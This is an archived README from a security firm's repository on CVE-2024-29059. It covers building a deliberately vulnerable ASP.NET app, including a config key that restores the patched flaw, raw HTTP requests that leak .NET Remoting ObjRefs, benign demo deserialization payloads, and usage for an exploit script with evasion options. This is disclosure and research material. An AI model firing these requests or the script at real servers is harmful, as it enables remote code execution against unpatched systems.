

HttpRemotingObjRefLeak

HttpRemotingObjRefLeak - codewhitesec, GitHub.

- Published: date not stated
- Original: <https://github.com/codewhitesec/HttpRemotingObjRefLeak>
- Preserved from: <https://github.com/codewhitesec/HttpRemotingObjRefLeak> (preserved-copy) on 2026-08-04
- Repository commit: 185f4010ea6bf53814ed0fa60c05eddcf20c652a
- Licence: see the repository

Rights remain with the original author and publisher. This is a research archive of a source cited by ysonet, kept so the technique survives the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Repository reading copy: selected documentation at the recorded commit. Source code is never checked out, built or run.

- Repository: <https://github.com/codewhitesec/HttpRemotingObjRefLeak>
- Commit: 185f4010ea6bf53814ed0fa60c05eddcf20c652a
- Documents preserved: 2

LICENSE

Blob b070f30b2c13, 1071 bytes, at commit 185f4010ea6b.

MIT License

Copyright (c) 2018 Code White GmbH

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE

AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

README.md

Blob 50ed747f8095, 4382 bytes, at commit 185f4010ea6b.

Leaking and Exploiting `ObjRef`s via HTTP .NET Remoting (CVE-2024-29059)

This repository provides further details and resources on the [CODE WHITE blog post](#) of the same name **Leaking ObjRefs to Exploit HTTP .NET Remoting**:

1. Creating a vulnerable ASP.NET web application
2. Detecting `ObjRef` leaks
3. Example deserialization payloads that work under the `TypeFilterLevel.Low` restrictions
4. Exploit script for delivering the payloads

1. Creating a Vulnerable ASP.NET Web Application

The following is based on **Configure Application Insights for your ASP.NET website** by Microsoft and describes how to create a vulnerable ASP.NET web application with Visual Studio 2019 (required to target .NET Framework 4.5.2, you can still download it at https://aka.ms/vs/16/release/vs_community.exe) and Microsoft Application Insights:

1. Open Visual Studio 2019.
2. Select **File > New > Project**.
3. Select **ASP.NET Web Application (.NET Framework) C#**, then **Next**.
4. Select **.NET Framework 4.5.2**, then **Create**.
5. Select **Empty**, then **Create**.
6. Select **Project > Add Application Insights Telemetry**.
7. Select **Application Insights SDK (local)**, then **Next**.
8. Check **NuGet packages**, then click **Finish**.

If the .NET Framework updates of January 2024 are installed, open the `Web.config` file and add the following under `/configuration/appSettings` to re-enable the vulnerable behavior:

```
<add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />
```

You can then run the web application via **Debug > Start Without Debugging** or by pressing Ctrl+F5.

2. Detecting `ObjRef` Leaks

You can use the following requests to leak `ObjRef`s of `MarshalByRefObject` instances stored in the `LogicalCallContext`:

- `BinaryServerFormatterSink`:

```
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: application/octet-stream
```

- `SoapServerFormatterSink`:

```
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: text/xml
```

Leaked `ObjRef` URIs can then be matched using the following regex:

```
/[0-9a-f_]+/[0-9A-Za-z_+]+\d+\.rem
```

3. Example Deserialization Payloads

We have created two simple deserialization payloads based on the [*TextFormattingRunProperties* gadget of YSoSerial.Net](#) with custom XAML payloads that work under the restrictions caused by `TypeFilterLevel.Low` to perform the following:

- `HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")`
- `HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"`

The HTTP headers can be observed in the server's response to the HTTP .NET Remoting request.

4. Exploit Script

The `RemoteApplicationMetadata.py` script provides a way for leaking existing `ObjRef` and then using it in a subsequent request to deliver a given payload:

```
usage: RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f
{binary,soap}] [-u] [-v] url [file]

positional arguments:
  url                target URL (without `RemoteApplicationMetadata.rem`)
  file              BinaryFormatter/SoapFormatter payload file (default: stdin)

options:
  -h, --help          show this help message and exit
  -c, --chunked        use chunked Transfer-Encoding for request
  --chunk-range CHUNK_RANGE
                        range to pick the chunk size from randomly, e. g., 1-10
  -e, --encoding       apply a random non ASCII-based encoding on SOAP
  -f {binary,soap}, --format {binary,soap}
                        targeted runtime serializer format (default: soap)
  -u, --use-generic-uri
                        use the generic `RemoteApplicationMetadata.rem` also for the
payload delivery request
  -v, --verbose        print verbose info
```

Example:

```
./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v
```